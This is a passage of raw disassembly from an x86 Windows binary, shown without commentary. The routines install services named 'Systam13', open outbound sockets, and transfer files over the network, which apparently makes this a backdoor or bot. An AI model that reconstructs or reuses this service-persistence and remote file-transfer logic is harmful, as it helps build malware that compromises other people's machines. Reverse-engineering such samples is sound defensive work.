[ebp+var_148] push [ebp+var_38] push eax call sub_418C10 add esp, 0Ch loc_40BD22: ; CODE XREF: sub_40BC4B+C0j cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_40BD40 push [ebp+var_28] lea eax, [ebp+var_1C8] push [ebp+var_2C] push eax call sub_418C10 add esp, 0Ch loc_40BD40: ; CODE XREF: sub_40BC4B+DEj cmp [ebp+var_20], ebx jbe short loc_40BD5A push [ebp+var_20] lea eax, [ebp+var_C8] push [ebp+var_24] push eax call sub_418C10 add esp, 0Ch loc_40BD5A: ; CODE XREF: sub_40BC4B+F8j cmp [ebp+var_18], ebx jbe short loc_40BD74 push [ebp+var_18] lea eax, [ebp+var_65C] push [ebp+var_1C] push eax call sub_418C10 add esp, 0Ch loc_40BD74: ; CODE XREF: sub_40BC4B+112j push ebx push ebx lea eax, [ebp+var_C8] push 3 push eax lea eax, [ebp+var_1C8] push eax lea eax, [ebp+var_148] push esi push eax push dword_43AD48 call dword_43AD6C mov esi, eax cmp esi, ebx jz short loc_40BDFD push ebx lea eax, [ebp+var_8] push 200h push eax lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_65C] push ebx push eax push ebx push esi call dword_43AD60 cmp eax, ebx mov [ebp+var_4], eax jz short loc_40BE04 push ebx push ebx push ebx push ebx push eax call dword_43AD14 test eax, eax jz short loc_40BDDE push offset dword_42DF54 jmp short loc_40BE09 ; --------------------------------------------------------------------------- loc_40BDDE: ; CODE XREF: sub_40BC4B+18Aj push offset unk_42DF08 jmp short loc_40BE09 ; --------------------------------------------------------------------------- loc_40BDE5: ; CODE XREF: sub_40BC4B+B7j lea eax, [ebp+var_55C] push offset dword_42DEDC push eax call sub_4172B0 mov esi, [ebp+var_C] pop ecx pop ecx jmp short loc_40BE17 ; --------------------------------------------------------------------------- loc_40BDFD: ; CODE XREF: sub_40BC4B+153j push offset unk_42DEA0 jmp short loc_40BE09 ; --------------------------------------------------------------------------- loc_40BE04: ; CODE XREF: sub_40BC4B+17Bj push offset unk_42DE60 loc_40BE09: ; CODE XREF: sub_40BC4B+191j ; sub_40BC4B+198j ... lea eax, [ebp+var_55C] push eax call sub_4172B0 pop ecx pop ecx loc_40BE17: ; CODE XREF: sub_40BC4B+1B0j cmp [ebp+var_1D4], ebx jnz short loc_40BE42 push ebx lea eax, [ebp+var_55C] push [ebp+var_1D0] push eax lea eax, [ebp+var_258] push eax push [ebp+var_35C] call sub_40D679 add esp, 14h loc_40BE42: ; CODE XREF: sub_40BC4B+1D2j lea eax, [ebp+var_55C] push eax call sub_40BF6D pop ecx push esi call dword_43ADCC push [ebp+var_4] call dword_43ADCC push [ebp+var_1D8] call sub_417078 pop ecx push ebx nop call near ptr 26302E2h pop edi pop esi pop ebx sub_40BC4B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BE75 proc near ; CODE XREF: sub_40EE72+448Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_43FA70 mov edi, 0B8h loc_40BE89: ; CODE XREF: sub_40BE75+33j cmp byte ptr [esi], 0 jz short loc_40BEAC push [ebp+arg_0] push esi call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40BEAC inc [ebp+var_4] add esi, edi cmp esi, offset dword_4405F0 jl short loc_40BE89 jmp short loc_40BEEE ; --------------------------------------------------------------------------- loc_40BEAC: ; CODE XREF: sub_40BE75+17j ; sub_40BE75+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_43FA70[esi] push ebx call sub_417330 push 17h push [ebp+arg_0] push ebx call sub_418C10 push 9Fh lea eax, dword_43FA88[esi] push [ebp+arg_4] push eax call sub_418C10 add esp, 24h inc dword_42F798 pop ebx loc_40BEEE: ; CODE XREF: sub_40BE75+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_40BE75 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BEF5 proc near ; CODE XREF: sub_40EE72+5B58p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_42DF90 push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h xor edi, edi mov esi, offset dword_43FA70 loc_40BF1F: ; CODE XREF: sub_40BEF5+72j cmp byte ptr [esi], 0 jz short loc_40BF5A lea eax, [esi+18h] push eax push esi push edi push offset dword_42DF84 lea eax, [ebp+var_200] push 200h push eax call sub_41782A push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 2Ch loc_40BF5A: ; CODE XREF: sub_40BEF5+2Dj add esi, 0B8h inc edi cmp esi, offset dword_4405F0 jl short loc_40BF1F pop edi pop esi leave retn sub_40BEF5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BF6D proc near ; CODE XREF: sub_401000+9Ap ; sub_4010B5+314p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax nop call near ptr 264047Bh mov ebx, offset dword_43F164 mov edi, 80h mov esi, offset dword_43B164 loc_40BF8F: ; CODE XREF: sub_40BF6D+3Dj cmp byte ptr [ebx], 0 jz short loc_40BFA6 push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_418C10 add esp, 0Ch loc_40BFA6: ; CODE XREF: sub_40BF6D+25j sub ebx, edi cmp ebx, esi jge short loc_40BF8F movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_41782A add esp, 28h pop edi pop esi pop ebx leave retn sub_40BF6D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BFE1 proc near ; CODE XREF: sub_407BDE+15Bp ; ___:00407F15p ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_4193FF lea eax, [ebp+var_80] push eax call sub_40BF6D add esp, 14h leave retn sub_40BFE1 endp ; =============== S U B R O U T I N E ======================================= sub_40C00D proc near ; CODE XREF: sub_40EE72+5A4Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_43B164 xor ecx, ecx loc_40C014: ; CODE XREF: sub_40C00D+13j mov [eax], cl add eax, 80h cmp eax, offset dword_43F164 jl short loc_40C014 cmp [esp+arg_C], ecx push esi mov esi, offset dword_42DFC4 jnz short loc_40C044 push ecx push [esp+8+arg_8] push esi push [esp+10h+arg_4] push [esp+14h+arg_0] call sub_40D679 add esp, 14h loc_40C044: ; CODE XREF: sub_40C00D+1Fj push esi call sub_40BF6D pop ecx pop esi retn sub_40C00D endp ; =============== S U B R O U T I N E ======================================= sub_40C04D proc near ; CODE XREF: sub_402DD7+2AEp arg_0 = dword ptr 4 push esi mov esi, offset dword_43B164 loc_40C053: ; CODE XREF: sub_40C04D+27j cmp byte ptr [esi], 0 jz short loc_40C068 push [esp+4+arg_0] push esi call sub_40A96F pop ecx test eax, eax pop ecx jnz short loc_40C07A loc_40C068: ; CODE XREF: sub_40C04D+9j add esi, 80h cmp esi, offset dword_43F164 jl short loc_40C053 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_40C07A: ; CODE XREF: sub_40C04D+19j push 1 pop eax pop esi retn sub_40C04D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C07F proc near ; DATA XREF: sub_40EE72+5B02o var_31C = byte ptr -31Ch var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 31Ch mov eax, [ebp+arg_0] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp+var_11C] push 1 rep movsd xor edx, edx pop edi cmp [ebp+var_10], edx mov [ebp+var_8], 80h mov [ebp+var_4], edx mov [eax+110h], edi jnz short loc_40C0D2 push edx lea eax, [ebp+var_118] push [ebp+var_14] push offset dword_42E018 push eax push [ebp+var_11C] call sub_40D679 add esp, 14h loc_40C0D2: ; CODE XREF: sub_40C07F+33j cmp [ebp+var_98], 0 jz short loc_40C0F2 lea eax, [ebp+var_98] push eax call sub_41781F test eax, eax pop ecx mov [ebp+var_4], eax jz short loc_40C0F2 mov [ebp+var_8], eax loc_40C0F2: ; CODE XREF: sub_40C07F+5Aj ; sub_40C07F+6Ej and [ebp+arg_0], 0 mov esi, offset dword_43B164 loc_40C0FB: ; CODE XREF: sub_40C07F+D4j mov eax, [ebp+arg_0] cmp eax, [ebp+var_8] jge short loc_40C155 cmp byte ptr [esi], 0 jz short loc_40C144 cmp [ebp+var_98], 0 jz short loc_40C12A cmp [ebp+var_4], 0 jnz short loc_40C12A lea eax, [ebp+var_98] push eax push esi call sub_40A96F pop ecx test eax, eax pop ecx jz short loc_40C144 loc_40C12A: ; CODE XREF: sub_40C07F+90j ; sub_40C07F+96j push edi lea eax, [ebp+var_118] push [ebp+var_14] push esi push eax push [ebp+var_11C] call sub_40D679 add esp, 14h loc_40C144: ; CODE XREF: sub_40C07F+87j ; sub_40C07F+A9j inc [ebp+arg_0] add esi, 80h cmp esi, offset dword_43F164 jl short loc_40C0FB loc_40C155: ; CODE XREF: sub_40C07F+82j lea eax, [ebp+var_31C] push offset dword_42DFEC push eax call sub_4172B0 xor esi, esi pop ecx cmp [ebp+var_10], esi pop ecx jnz short loc_40C18F push esi lea eax, [ebp+var_31C] push [ebp+var_14] push eax lea eax, [ebp+var_118] push eax push [ebp+var_11C] call sub_40D679 add esp, 14h loc_40C18F: ; CODE XREF: sub_40C07F+EEj lea eax, [ebp+var_31C] push eax call sub_40BF6D push [ebp+var_18] call sub_417078 pop ecx pop ecx push esi nop call near ptr 26302E2h pop edi pop esi sub_40C07F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C1AE proc near ; CODE XREF: sub_40AC42+1Ep ; ___:0040E9EFp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_42E038 xor esi, esi mov ebx, offset aSystam13 ; "Systam13" loc_40C1C1: ; CODE XREF: sub_40C1AE+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call dword_43AD4C cmp [ebp+arg_0], esi jz short loc_40C1FB push [ebp+arg_0] call sub_417AB0 pop ecx push eax push [ebp+arg_0] push 1 push esi push ebx push [ebp+var_4] call dword_43ADBC jmp short loc_40C205 ; --------------------------------------------------------------------------- loc_40C1FB: ; CODE XREF: sub_40C1AE+2Fj push ebx push [ebp+var_4] call dword_43AD04 loc_40C205: ; CODE XREF: sub_40C1AE+4Bj push [ebp+var_4] call dword_43AD74 add edi, 8 cmp edi, offset dword_42E050 jb short loc_40C1C1 pop edi pop esi pop ebx leave retn sub_40C1AE endp ; =============== S U B R O U T I N E ======================================= sub_40C21E proc near ; CODE XREF: sub_40C259+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_40C253 push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_40C237: ; CODE XREF: sub_40C21E+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, dword_424298[eax*4] xor esi, eax inc edx dec edi jnz short loc_40C237 pop edi pop ebx loc_40C253: ; CODE XREF: sub_40C21E+Ej mov eax, esi pop esi not eax retn sub_40C21E endp ; =============== S U B R O U T I N E ======================================= sub_40C259 proc near ; CODE XREF: sub_40CAF1+24Ap var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_417B89 mov [esp+10h+var_10], offset aRb ; "rb" push [esp+10h+arg_0] mov esi, eax call sub_4179A8 mov edi, eax pop ecx test edi, edi pop ecx jz short loc_40C2A8 loc_40C27E: ; CODE XREF: sub_40C259+4Dj test byte ptr [edi+0Ch], 10h jnz short loc_40C2AC inc ebx push ebx push esi call sub_41944F mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40C2A8 push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_418A86 add esp, 10h jmp short loc_40C27E ; --------------------------------------------------------------------------- loc_40C2A8: ; CODE XREF: sub_40C259+23j ; sub_40C259+39j xor eax, eax jmp short loc_40C2C7 ; --------------------------------------------------------------------------- loc_40C2AC: ; CODE XREF: sub_40C259+29j dec ebx push ebx push esi call sub_40C21E push esi mov ebx, eax call sub_417C3B push edi call sub_417900 add esp, 10h mov eax, ebx loc_40C2C7: ; CODE XREF: sub_40C259+51j pop edi pop esi pop ebx retn sub_40C259 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C2CB proc near ; CODE XREF: sub_40C351+33p ; sub_40C8B4+BCp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_43AE18 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_40C347 push 10h lea eax, [ebp+var_10] push 0 push eax call sub_417330 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_43AD98 push [ebp+arg_0] mov [ebp+var_E], ax call dword_43ADD8 cmp eax, esi jnz short loc_40C32C push [ebp+arg_0] call dword_43AE1C test eax, eax jz short loc_40C347 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_40C32C: ; CODE XREF: sub_40C2CB+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_43AD40 cmp eax, esi jnz short loc_40C34B push edi call dword_43AE30 loc_40C347: ; CODE XREF: sub_40C2CB+1Bj ; sub_40C2CB+58j mov eax, esi jmp short loc_40C34D ; --------------------------------------------------------------------------- loc_40C34B: ; CODE XREF: sub_40C2CB+73j mov eax, edi loc_40C34D: ; CODE XREF: sub_40C2CB+7Ej pop edi pop esi leave retn sub_40C2CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C351 proc near ; DATA XREF: sub_40EE72+A88o var_11B4 = byte ptr -11B4h var_1B4 = byte ptr -1B4h var_1AC = byte ptr -1ACh var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 11B4h call sub_417B30 mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1B4] rep movsd push 1 pop esi push [ebp+var_14] mov [eax+1B0h], esi lea eax, [ebp+var_1AC] push eax call sub_40C2CB mov ebx, eax pop ecx cmp ebx, 0FFFFFFFFh pop ecx jnz short loc_40C3E4 lea eax, [ebp+var_11B4] push offset dword_42E0D4 push eax call sub_4172B0 xor edi, edi pop ecx cmp [ebp+var_8], edi pop ecx jnz short loc_40C3C7 push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_40D679 add esp, 14h loc_40C3C7: ; CODE XREF: sub_40C351+59j lea eax, [ebp+var_11B4] push eax call sub_40BF6D push [ebp+var_10] call sub_417078 pop ecx pop ecx push esi call near ptr 26302E2h nop loc_40C3E4: ; CODE XREF: sub_40C351+3Fj push offset byte_436EDC push ebx call sub_40B56C pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_40C44F lea eax, [ebp+var_11B4] push offset dword_42E094 push eax call sub_4172B0 xor edi, edi pop ecx cmp [ebp+var_8], edi pop ecx jnz short loc_40C42B push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_40D679 add esp, 14h loc_40C42B: ; CODE XREF: sub_40C351+BDj lea eax, [ebp+var_11B4] push eax call sub_40BF6D pop ecx push ebx call dword_43AE30 push [ebp+var_10] call sub_417078 pop ecx push esi nop call near ptr 26302E2h loc_40C44F: ; CODE XREF: sub_40C351+A3j push 64h call near ptr 2630F90h nop xor edi, edi mov esi, 1000h loc_40C45E: ; CODE XREF: sub_40C351+168j push esi lea eax, [ebp+var_11B4] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_11B4] push edi push esi push eax push ebx call dword_43ADB0 test eax, eax jle short loc_40C4BB lea eax, [ebp+var_11B4] push offset asc_42A660 ; "\n" push eax call sub_4179D0 lea eax, [ebp+var_11B4] push eax call sub_40B358 add esp, 0Ch test eax, eax jz short loc_40C4BB push 64h call near ptr 2630F90h nop push 7 call sub_416FA4 test eax, eax pop ecx jnz short loc_40C45E loc_40C4BB: ; CODE XREF: sub_40C351+130j ; sub_40C351+154j lea eax, [ebp+var_11B4] push offset dword_42E050 push eax call sub_4172B0 cmp [ebp+var_8], edi pop ecx pop ecx jnz short loc_40C4EE push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_40D679 add esp, 14h loc_40C4EE: ; CODE XREF: sub_40C351+180j lea eax, [ebp+var_11B4] push eax call sub_40BF6D pop ecx push ebx call dword_43AE30 push [ebp+var_10] call sub_417078 pop ecx push edi nop call near ptr 26302E2h sub_40C351 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C512 proc near ; DATA XREF: sub_40EE72+4A7Co var_A04 = byte ptr -0A04h var_604 = byte ptr -604h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh var_3FC = byte ptr -3FCh var_1FC = dword ptr -1FCh var_1F8 = dword ptr -1F8h var_1E0 = byte ptr -1E0h var_DC = byte ptr -0DCh var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_48 = byte ptr -48h var_44 = dword ptr -44h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1FC] rep movsd push 1 xor esi, esi pop ebx mov [ebp+var_10], esi push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp+var_C], esi mov [ebp+var_20], esi call dword_43AE18 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_18], edi jnz short loc_40C560 push offset dword_42E258 jmp loc_40C719 ; --------------------------------------------------------------------------- loc_40C560: ; CODE XREF: sub_40C512+42j push 10h lea eax, [ebp+var_30] push esi push eax call sub_417330 add esp, 0Ch mov [ebp+var_30], 2 push esi call dword_43AD98 mov word ptr [ebp+var_2E], ax lea eax, [ebp+var_30] push 10h push eax push edi mov [ebp+var_2E+2], esi call dword_43ADC4 test eax, eax jz short loc_40C59E push offset dword_42E224 jmp loc_40C719 ; --------------------------------------------------------------------------- loc_40C59E: ; CODE XREF: sub_40C512+80j lea eax, [ebp+var_1C] mov [ebp+var_1C], 10h push eax lea eax, [ebp+var_30] push eax push edi call dword_43AD3C push [ebp+var_2E] call dword_43ACD4 mov [ebp+var_4], eax lea eax, [ebp+var_1E0] push eax mov [ebp+arg_0], esi call sub_417AB0 pop ecx loc_40C5D0: ; CODE XREF: sub_40C512+EFj mov ecx, [ebp+arg_0] mov al, [ebp+ecx+var_1E0] cmp al, 20h jnz short loc_40C5E3 push 5Fh pop eax jmp short loc_40C5E6 ; --------------------------------------------------------------------------- loc_40C5E3: ; CODE XREF: sub_40C512+CAj movsx eax, al loc_40C5E6: ; CODE XREF: sub_40C512+CFj mov [ebp+ecx+var_604], al lea eax, [ebp+var_1E0] inc ecx push eax mov [ebp+arg_0], ecx call sub_417AB0 cmp [ebp+arg_0], eax pop ecx jbe short loc_40C5D0 push ebx push edi call dword_43ADC0 test eax, eax jz short loc_40C619 push offset dword_42E0D4 jmp loc_40C719 ; --------------------------------------------------------------------------- loc_40C619: ; CODE XREF: sub_40C512+FBj push esi push esi push 3 push esi push ebx lea eax, [ebp+var_1E0] push 80000000h push eax call near ptr 26707CBh nop cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_40C643 push offset dword_42E1F4 jmp loc_40C719 ; --------------------------------------------------------------------------- loc_40C643: ; CODE XREF: sub_40C512+125j push esi push eax call near ptr 26B0000h nop mov [ebp+arg_0], eax push eax movzx eax, word ptr [ebp+var_4] push eax push [ebp+var_1FC] call sub_40AEE0 pop ecx push eax call dword_43ADD8 push eax call dword_43AD94 push eax lea eax, [ebp+var_1E0] push eax lea eax, [ebp+var_3FC] push offset dword_42E1DC push eax call sub_4172B0 push esi lea eax, [ebp+var_3FC] push esi push eax lea eax, [ebp+var_DC] push eax push [ebp+var_1FC] call sub_40D679 add esp, 2Ch lea eax, [ebp+var_38] mov [ebp+var_38], 3Ch mov [ebp+var_34], esi push eax push esi lea eax, [ebp+var_500] push esi push eax push esi mov [ebp+var_4FC], edi mov [ebp+var_500], ebx call dword_43AD80 test eax, eax jg short loc_40C6F3 push esi lea eax, [ebp+var_DC] push [ebp+var_54] push offset dword_42E1B4 push eax push [ebp+var_1FC] call sub_40D679 jmp loc_40C817 ; --------------------------------------------------------------------------- loc_40C6F3: ; CODE XREF: sub_40C512+1BFj lea eax, [ebp+var_14] mov [ebp+var_14], 10h push eax lea eax, [ebp+var_48] push eax push edi call dword_43AE2C cmp eax, 0FFFFFFFFh mov [ebp+var_1F8], eax jnz short loc_40C72C push offset dword_42E180 loc_40C719: ; CODE XREF: sub_40C512+49j ; sub_40C512+87j ... lea eax, [ebp+var_3FC] push eax call sub_4172B0 pop ecx pop ecx jmp loc_40C81A ; --------------------------------------------------------------------------- loc_40C72C: ; CODE XREF: sub_40C512+200j push edi call dword_43AE30 cmp [ebp+arg_0], esi jz loc_40C7DE mov edi, 400h loc_40C741: ; CODE XREF: sub_40C512+2C3j mov eax, [ebp+arg_0] mov [ebp+var_4], edi cmp eax, edi jge short loc_40C74E mov [ebp+var_4], eax loc_40C74E: ; CODE XREF: sub_40C512+237j push edi lea eax, [ebp+var_A04] push esi push eax call sub_417330 mov eax, [ebp+arg_0] add esp, 0Ch neg eax push 2 push esi push eax push [ebp+var_8] nop call near ptr 26F0000h lea eax, [ebp+var_20] push esi push eax lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_8] nop call near ptr 26510A0h push esi lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_1F8] call dword_43ADE8 mov [ebp+var_4], eax push esi cdq add [ebp+var_10], eax lea eax, [ebp+var_A04] push edi push eax push [ebp+var_1F8] adc [ebp+var_C], edx call dword_43ADB0 cmp eax, ebx jl loc_40C873 mov eax, [ebp+var_4] cmp eax, ebx jl loc_40C873 sub [ebp+arg_0], eax jnz loc_40C741 mov edi, [ebp+var_18] loc_40C7DE: ; CODE XREF: sub_40C512+224j push [ebp+var_8] nop call near ptr 2651922h push [ebp+var_C] push [ebp+var_10] call sub_40D01A pop ecx pop ecx push eax lea eax, [ebp+var_1E0] push eax push [ebp+var_44] call dword_43AE24 push eax lea eax, [ebp+var_3FC] push offset dword_42E130 push eax call sub_4172B0 loc_40C817: ; CODE XREF: sub_40C512+1DCj add esp, 14h loc_40C81A: ; CODE XREF: sub_40C512+215j cmp [ebp+var_50], esi jnz short loc_40C83F push esi lea eax, [ebp+var_3FC] push [ebp+var_54] push eax lea eax, [ebp+var_DC] push eax push [ebp+var_1FC] call sub_40D679 add esp, 14h loc_40C83F: ; CODE XREF: sub_40C512+30Bj lea eax, [ebp+var_3FC] push eax call sub_40BF6D cmp edi, esi pop ecx jbe short loc_40C857 push edi call dword_43AE30 loc_40C857: ; CODE XREF: sub_40C512+33Cj push [ebp+var_1F8] call dword_43AE30 push [ebp+var_58] call sub_417078 pop ecx push esi call near ptr 26302E2h nop loc_40C873: ; CODE XREF: sub_40C512+2AFj ; sub_40C512+2BAj push esi mov esi, offset dword_42E108 push [ebp+var_54] lea eax, [ebp+var_DC] push esi push eax push [ebp+var_1FC] call sub_40D679 push esi call sub_40BF6D add esp, 18h push [ebp+var_1F8] call dword_43AE30 push [ebp+var_58] call sub_417078 pop ecx push ebx nop call near ptr 26302E2h sub_40C512 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C8B4 proc near ; DATA XREF: sub_40EE72+7C0o var_14C4 = byte ptr -14C4h var_4C4 = byte ptr -4C4h var_2C4 = byte ptr -2C4h var_1C0 = dword ptr -1C0h var_1B8 = byte ptr -1B8h var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 14C4h call sub_417B30 mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1C0] rep movsd push 1 xor ebx, ebx pop esi mov [ebp+var_8], ebx mov [eax+1B0h], esi lea eax, [ebp+var_2C4] push 104h push eax nop call near ptr 2640000h lea eax, [ebp+var_1A4] push eax lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_2C4] push offset aSS_2 ; "%s%s" push eax call sub_4172B0 add esp, 10h lea eax, [ebp+var_2C4] push ebx push 80h push 2 push ebx push esi push 40000000h push eax nop call near ptr 26707CBh cmp eax, 0FFFFFFFFh jnz short loc_40C93E push offset dword_42E350 jmp short loc_40C984 ; --------------------------------------------------------------------------- loc_40C93E: ; CODE XREF: sub_40C8B4+81j push eax nop call near ptr 2651922h lea eax, [ebp+var_2C4] push offset aAB ; "a+b" push eax call sub_4179A8 pop ecx cmp eax, ebx pop ecx mov [ebp+var_4], eax jnz short loc_40C966 push offset dword_42E310 jmp short loc_40C984 ; --------------------------------------------------------------------------- loc_40C966: ; CODE XREF: sub_40C8B4+A9j push [ebp+var_20] lea eax, [ebp+var_1B8] push eax call sub_40C2CB pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+arg_0], eax jnz short loc_40C997 push offset dword_42E2E0 loc_40C984: ; CODE XREF: sub_40C8B4+88j ; sub_40C8B4+B0j lea eax, [ebp+var_4C4] push eax call sub_4172B0 pop ecx pop ecx jmp loc_40CA93 ; --------------------------------------------------------------------------- loc_40C997: ; CODE XREF: sub_40C8B4+C9j mov esi, 1000h loc_40C99C: ; CODE XREF: sub_40C8B4+14Ej push esi lea eax, [ebp+var_14C4] push ebx push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_14C4] push ebx push esi push eax push [ebp+arg_0] call dword_43ADB0 mov edi, eax cmp edi, ebx jz loc_40CA63 cmp edi, 0FFFFFFFFh jz short loc_40CA04 push [ebp+var_4] lea eax, [ebp+var_14C4] push edi push 1 push eax call sub_4196EF add [ebp+var_8], edi add esp, 10h push [ebp+var_8] call dword_43AD94 mov [ebp+var_C], eax push ebx lea eax, [ebp+var_C] push 4 push eax push [ebp+arg_0] call dword_43ADE8 jmp short loc_40C99C ; --------------------------------------------------------------------------- loc_40CA04: ; CODE XREF: sub_40C8B4+118j lea eax, [ebp+var_4C4] push offset dword_42E108 push eax call sub_4172B0 push ebx lea eax, [ebp+var_4C4] push [ebp+var_18] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_1C0] call sub_40D679 lea eax, [ebp+var_4C4] push eax call sub_40BF6D push [ebp+var_4] call sub_417900 add esp, 24h push [ebp+arg_0] call dword_43AE30 push [ebp+var_1C] call sub_417078 pop ecx push 1 nop call near ptr 26302E2h loc_40CA63: ; CODE XREF: sub_40C8B4+10Fj mov eax, [ebp+var_8] cdq push edx push eax call sub_40D01A pop ecx pop ecx push eax lea eax, [ebp+var_1A4] push eax lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_4C4] push offset dword_42E28C push eax call sub_4172B0 add esp, 14h loc_40CA93: ; CODE XREF: sub_40C8B4+DEj cmp [ebp+var_14], ebx jnz short loc_40CAB8 push ebx lea eax, [ebp+var_4C4] push [ebp+var_18] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_1C0] call sub_40D679 add esp, 14h loc_40CAB8: ; CODE XREF: sub_40C8B4+1E2j lea eax, [ebp+var_4C4] push eax call sub_40BF6D cmp [ebp+var_4], ebx pop ecx jz short loc_40CAD3 push [ebp+var_4] call sub_417900 pop ecx loc_40CAD3: ; CODE XREF: sub_40C8B4+214j cmp 